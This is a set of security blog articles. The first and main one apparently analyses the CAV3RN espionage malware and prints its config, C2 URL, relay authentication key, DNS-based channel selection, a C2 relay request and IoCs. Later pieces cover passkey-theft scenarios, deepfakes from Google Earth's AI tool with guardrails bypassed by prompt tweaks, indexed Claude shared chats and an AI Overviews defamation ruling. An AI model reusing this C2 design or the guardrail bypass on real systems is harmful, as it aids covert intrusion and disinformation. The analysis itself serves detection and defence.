Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.

Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.

We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.

Multi-transport C2 communication module

The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:

C:\Users\user\Desktop\Modules\broker-cavern\communication\GoogleCommunication\bin\Release\net8.0\win-x64\native\GoogleService.pdb

NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.

The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.

C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.

At startup, the worker internally sends:

{"type":"icmgdd","cid":0,"payload":"s_version_;;_"}

The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.

The module supports five internal commands:

Command	Functionality
s_version	Returns the DLL-version inventory described above. The command is executed automatically at startup.
s_config	Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory.
s_enLog	Enables diagnostic logging at the Debug level.
s_deLog	Disables diagnostic logging and sets the logging level to Fatal.
s_write	Base64-decodes and GZip-decompresses provided data before writing it to the specified file path.

The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.

{
  "to": "<generated seven-character ID>", // Client ID
  "ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
  "ho": "studiotikva.com", // DNS domain
  "gi": "<redacted>", // Apps Script deployment ID
  "de": false, // Enable Debug logging at startup
  "mi": 120000, // Poll-delay reset after a non-empty response
  "ma": 18000000, // Progressive poll-delay cap
  "ri": 30000, // Base DNS recovery/error delay, with positive jitter
  "ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
  "gu": "https://script.google.com/macros/s/{0}/exec",
  "ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
  "mcc": 50, // unknown
  "mtc": 10 // unknown
}

The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.

Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:

<random nonce><error state>.<hex-encoded client ID>.m.studiotikva.com

The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.

The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:

Fourth octet	None (0)	GIDFailed (1)	GoogleFailed (2)	DirectFailed (3)
120 (0x78)	Google Apps Script	Direct HTTPS	Direct HTTPS	Google Apps Script
130 (0x82)	Direct HTTPS	Direct HTTPS	Direct HTTPS	Close the transaction (no channel)
140 (0x8C)	Exception	Exception	Exception	Exception
All other values	Google Apps Script	Google Apps Script	Google Apps Script	Google Apps Script

During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.

When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.

The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.

One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.

Google Apps Script channel

When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.

Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:

POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json

{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}

The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:

HTTP/2 302
content-type: text/html; charset=UTF-8
access-control-allow-origin: *
location: https://script.googleusercontent.com/macros/echo?user_content_key=AUkAhnT1XStTpObO…&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR
server: GSE

HTTP/2 200
content-type: application/json; charset=utf-8
access-control-allow-origin: *
server: GSE

{"s":200,"h":{"Content-Type":"text/html; charset=utf-8","Vary":"Cookie","Server":"nginx","Content Length":"4","Connection":"keep-alive","Date":"Mon, 03 Aug 2026 20:07:54 GMT","Access-Control-Allow-Origin":"*"},"b":"OS9FPQ=="}

Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.

Direct HTTPS channel

When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.

However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:

Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.

Inter-component DLL broker

The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.

The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.

The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.

Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.

Command	Function
000	Lists loaded component names and versions
001	Lists every DLL path discovered by the scanner
002	Lists each loaded component’s path, name, and version

The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.

Infrastructure

Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.

The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.

The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.

Domain	Registrar	IP	Hosting	ASN
studiotikva[.]com api.studiotikva[.]com ns1.studiotikva[.]com ns2.studiotikva[.]com	Dynadot Inc	144.172.115[.]17 144.172.104[.]82	RouterHosting LLC	AS 14956

Conclusions

Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

904784c9943d019da332bea2cd03996f              CommunicationUxTheme.dll
f9156d42410c8a5429dec43329bd72e0              net.dll
2dcd4a8ac166404977cd3c48418a8cd9              rnp.dll
981c7404d31b8ce35ec88a6b290f354d              GoogleService.dll
34d50eec364d920b8b5d885c9bc98607             texture.dll

Domains and IPs

studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
144.172.115[.]17
144.172.104[.]82

Passkeys were supposed to make stolen passwords a thing of the past. No password to phish, no secret to reuse, and no string of characters sitting in a database waiting to be leaked.

Over time, it’s thought that passkeys will replace passwords entirely. But what happens when malware steals the master key?

Researchers have found a way for malware to hijack passkey-protected accounts through Google Password Manager, highlighting an important exception: passkeys can be very secure but the software surrounding them still has weaknesses.

What are passkeys?

Passkeys are a password replacement based on public‑key cryptography. Instead of a secret you remember and type, each account gets a key pair where the private key never leaves your devices, and the website only ever sees the public key and signed challenges. Because there’s nothing reusable to phish or reuse on another site, passkeys are marketed as “phishing‑resistant” and safer than passwords stored in a browser or password manager.

By the end of 2024 Google reportedly said that 800 million Google accounts used passkeys.

Passkeys have a major advantage over passwords: there is nothing useful for a phishing site to steal. A passkey is also tied to the website it was created for, making it much harder to trick into authenticating to the wrong domain.

The other significant difference is that if malware steals a password vault, an attacker still often needs to get past a second factor on another device, such as an authenticator app on your phone, before they fully own the account. With passkeys, many services relying on them simply trust the passkey assertion, and in some cases even trust a single “user verified” flag without confirming whether a real biometric or PIN event occurred.

Malware comes into play

The researchers, however, started with a malware infected Windows computer and came up with three possible attack scenarios to steal Google synchronized passkeys. Google Password Manager can synchronize passkeys between devices, which is convenient since you don’t want to register a new passkey every time you buy a new computer. But it also opens them up to abuse.

From bad to worse the attacks are:

• Pass‑ta‑key: malware on the victim’s computer silently asks Chrome and Google’s cloud to create a valid passkey login, no biometric or PIN prompt needed.
• Silver Pass‑ta‑key: malware abuses device re‑enrollment to register its own user‑verification key, then logs in as the victim from the attacker’s machine without touching the victim’s device.
• Golden Pass‑ta‑key: Malware extracts Google’s security domain secret (the master encryption key), decrypts all synced passkeys, and can reuse them anywhere, even after losing access to the original device.

How to stay safe

The researchers urge services to stop blindly trusting the user verification flag and to properly validate that a real User Verified event occurred before granting access. Google, in turn, is encouraged to harden device registration and recovery, and verify that new devices and keys are backed by genuine hardware rather than accepting them at face value.

For end users, passkeys still offer strong protection against classic phishing websites and credential stuffing attacks based on reused passwords. The weak point highlighted here is not so much the concept of passkeys, but the way they’re implemented, synchronized, and trusted without enough verification on the server side.

Until vendors close these gaps, basic anti‑malware hygiene remains critical. The best ways to prevent malware from using your passkeys are:

• Keep on top of updates: make sure your systems and software are patched as soon as you can.
• Use up-to-date real-time anti-malware protection.
• Treat unexpected attachments or links as suspicious until proven innocent.

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Google has walked back an AI feature that allowed users to generate artificial images inside Google Earth, after a predictable flurry of deepfakes.

Google switched on the AI image generation feature inside Google Earth’s web version on July 30. It was available to everyone.

The system used Google’s Nano Banana 2 image generator to create its images. That tool can already generate images from simple text input, but the advantage of doing it in Google Earth is that it can use the real satellite images as the basis for its deepfake versions. That makes it easier to make AI pictures with real, accurate building and landscape details.

In its initial blog post on the launch, it said that students could use it to “bring history to life”, while realtors could use it to produce professional real estate plans. However, others warned that the system could be used to mislead people.

Within hours, researchers and press outlets demonstrated that the tool would happily produce photorealistic satellite imagery of things that did not happen in places where they did not happen.

Dutch open source intelligence researcher Henk van Ess explained: “I tried refugees at the Mexican border, a nuclear plant in Iran, a crash in Amsterdam, a hospital with a bomb crater in Gaza. Nothing was refused”.

Demonstrating what was possible with the new capability, NPR fabricated an image of fires in Iran, along with a deepfake of Washington, D.C. underwater. The BBC ran images of a collapsed Eiffel Tower and the Great Pyramid of Giza swallowed by a sinkhole. Even though the service had some guardrails in place, the BBC’s anti-disinformation Verify service was able to circumvent them by tinkering with basic AI prompts.

Google acknowledged the failure in a statement on X:

“We’ve seen geospatial professionals using this feature for a range of useful purposes, however we’ve also seen people sharing screenshots of generated imagery that appear to violate our policies. So we’re rolling back this feature in Google Earth while we work on implementing stronger guardrails.”

It didn’t commit to never re-introducing the idea.

Users were apparently unimpressed. “There is 0 chance that no one on your development team didn’t raise exactly this concern,” commented one. “You guys are living in a complete bubble,” accused another.

Google’s fallback safeguard was a SynthID watermark and the fact that generated images didn’t appear in the main Google Earth experience for others to see. SynthID is Google DeepMind’s watermarking system, an invisible signal baked into the pixels of AI-generated images so that a compatible detector can spot them later. Google positions it as one half of its provenance stack, sitting alongside the C2PA metadata standard the wider AI industry has settled on.

On paper, the signal is meant to hold up through compression and even social media re-uploads. However, these claims collapsed on contact with reality. The watermarks are detectable by Google’s AI services like Gemini. They are not visible to users, who can screenshot the images and share them anywhere. It’s unlikely that everyone will know to check for the provenance of an image. Researchers have also reported that Gemini could not reliably identify AI-generated images with a SynthID watermark.

What this means for you

Content creators were already producing fake AI images showing events that didn’t happen. Traditionally, satellite imagery has been a key component of open source journalism. Fake it convincingly and you are attacking the reference layer reporters use to check whether something actually happened.

This also comes at a time when trust in AI is measurably eroding. According to our own research, released in June, 88% of people said it’s becoming harder to tell what content online is genuinely human or real, with 84% saying that even “convincing video evidence” no longer feels like proof. 

The practical advice is to take a breath whenever a disturbing satellite image of a disaster, a weapon strike, or a border crossing hits your timeline. Check whether a wire service with a named reporter has published it. Look for a caption identifying the imagery provider. If the source is an anonymous account posting a single dramatic frame, assume you might be looking at something assembled in a browser tab last night.

For more information on how to identify AI images, check out our guide.

The industry’s shipping model now apparently treats users as the test group. Critical media literacy is now the only reliable tool that readers and viewers have.

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Reddit users found that by using a specific Google search query, it was possible to find Claude conversations that users had shared.

This exposed sensitive material, including crypto wallet keys, names, addresses, work notes, and even erotic or otherwise policy-violating chats. Fortune says Anthropic appears to have fixed the Google indexing issue, but the shared links themselves were still live for people who already had them.

The exposure was tied to Claude’s Share feature, which creates a public web link to a snapshot of a conversation rather than leaving it inside a user’s private account. Reddit users found a search query that surfaced many of these shared chats, plus Claude Artifacts (interactive documents, apps, and other content created by Claude) in Google results. Wired reports that this is still true for Bing.

The main risk is that people use chatbots to think through work, health, legal, or personal matters without realizing that a shared link can behave like ordinary public web content.

This isn’t unique to Claude. We’ve previously seen Grok chats show up in Google search results, and Meta AI conversations can also become public by design. We have also written about the share option in ChatGPT that was swiftly removed after users unintentionally made thousands of conversations searchable.

Anthropic says Claude chats are private by default, and only conversations users explicitly chose to share were affected. But the incident is a reminder that a “share” button on an AI chat can be more like publishing than messaging, especially if search engines can discover the resulting URL.

How to stay safe

The easy way out here is not to share your AI chatbot conversations with anyone, because you could end up reaching more people than you intended.

That’s because it’s harder to stop pages from being indexed than you might expect. And you don’t have those controls in your hands. The AI provider should take care of that.

But there are a few things you can do:

• Don’t share Personally Identifiable Information (PII) with a chatbot, so that if a conversation is ever exposed it can’t be easily linked back to you.
• To review or stop sharing conversations in Claude, go to Settings > Privacy > Shared chats.
• If you’re using an AI service from a social media company, such as Meta AI, Grok, or Gemini), remember that your conversations could be tied to your account—which might contain a lot of personal information.
• When using AI, make sure you understand how to keep your conversations private. Many services offer temporary or incognito chats that aren’t saved to your history, but they aren’t a guarantee against bugs, leaks, or data breaches. Only use the share feature when you’re comfortable with anyone potentially seeing that conversation.
• Read the privacy policy so you understand how your conversations are stored and shared. If it’s too long, you can always ask an AI to summarise the important points.

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A German court has ruled that Google can be held directly responsible for defamatory claims produced by its AI Overviews. Basically, the court said that telling people they should double-check AI search results is not enough to deny liability for what those results say.

The Munich Regional Court issued a preliminary injunction against Google after two German publishers discovered that AI Overviews falsely portrayed them as involved in scams and “dubious business practices,” even though the linked articles did not support those claims.

The decision could echo far beyond Germany. The court effectively found that Google can be held directly liable for defamatory content generated by its AI Overviews. The court cut through the usual “it’s just AI, don’t trust it too much” messaging and made one thing clear: If you build a system that confidently smears people or companies, you may be responsible for what it says, even when the content was “hallucinated” by AI.

AI Overviews are not harmless suggestions. In this case, the court treated them as Google’s own statements, with all the legal baggage that comes with that.

When the publishers sent a cease-and-desist letter, Google did not promptly stop similar claims from appearing. That detail turned out to be crucial in the ruling. The court noted that, unlike traditional search results, which simply list third-party content, AI Overviews generate “independent, new, and substantive statements.”

And since only Google can adjust the models and the logic that create those statements, only Google can reliably stop the system from repeating the same or similar falsehoods. In this case, the court found that Google can be held responsible.

For years, search engines have enjoyed broad protection under the logic that some harmful content is unavoidable when indexing the open web at scale. Showing a search result does not mean endorsing it. The search engine is a channel, not a publisher.

That changes when an AI Overview summarizes, rephrases, and sometimes invents facts, then publishes them at the top of search results.

AI Overviews are an extra feature, not essential to how search works. However, the appeal of AI summaries is their fast, confident answers, which is exactly what makes them dangerous. When those answers are wrong, many users may not click through to check the sources.

The ruling is preliminary and may be appealed, but the signal is clear: AI search output is not magic dust that makes liability disappear. Disclaimers about possible mistakes may not be enough when a system is deployed at scale, creates new content, and is designed to be trusted.

By the numbers

Google AI Overviews are powered by Gemini, Google’s AI model. Like other AI systems, it can produce confident answers that are wrong or poorly supported.

Pew Research studied browsing data from hundreds of users and found that when an AI Overview appears on a Google results page, clicks to traditional search results drop from around 15% to about 8%. 

A New York Times analysis of AI Overviews found that they were accurate roughly nine out of ten times. But with Google processing more than five trillion searches a year, even a small error rate could mean millions of wrong answers.

And those mistakes are not always due to bad sources. Even when Google links to a page with the correct information, its AI can still produce a false answer. More than half of the accurate responses were classified as “ungrounded,” meaning the websites cited by the AI Overview did not fully support the information it provided.

The main lesson here is to double-check AI search responses. Don’t trust an answer just because it’s presented confidently and includes links.

Users can be steered toward real threats, or away from effective protections, simply because an AI system sounded convincing on a search page.

If you find false or defamatory AI summaries about yourself or your company, document them thoroughly. Take screenshots, save the search terms, file correction requests, and keep records of the platform’s response. Or the lack of one.

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Notes the May 2026 Dark Web Issue Trend Report summarizes the Major Issues that occurred on the deep web and dark web. it stated that due to the nature of the sources, some of the information cannot be fully verified for factual accuracy. Major Issues Hasan’s BreachForums experienced a moderator split, with HasanBroker being ousted […]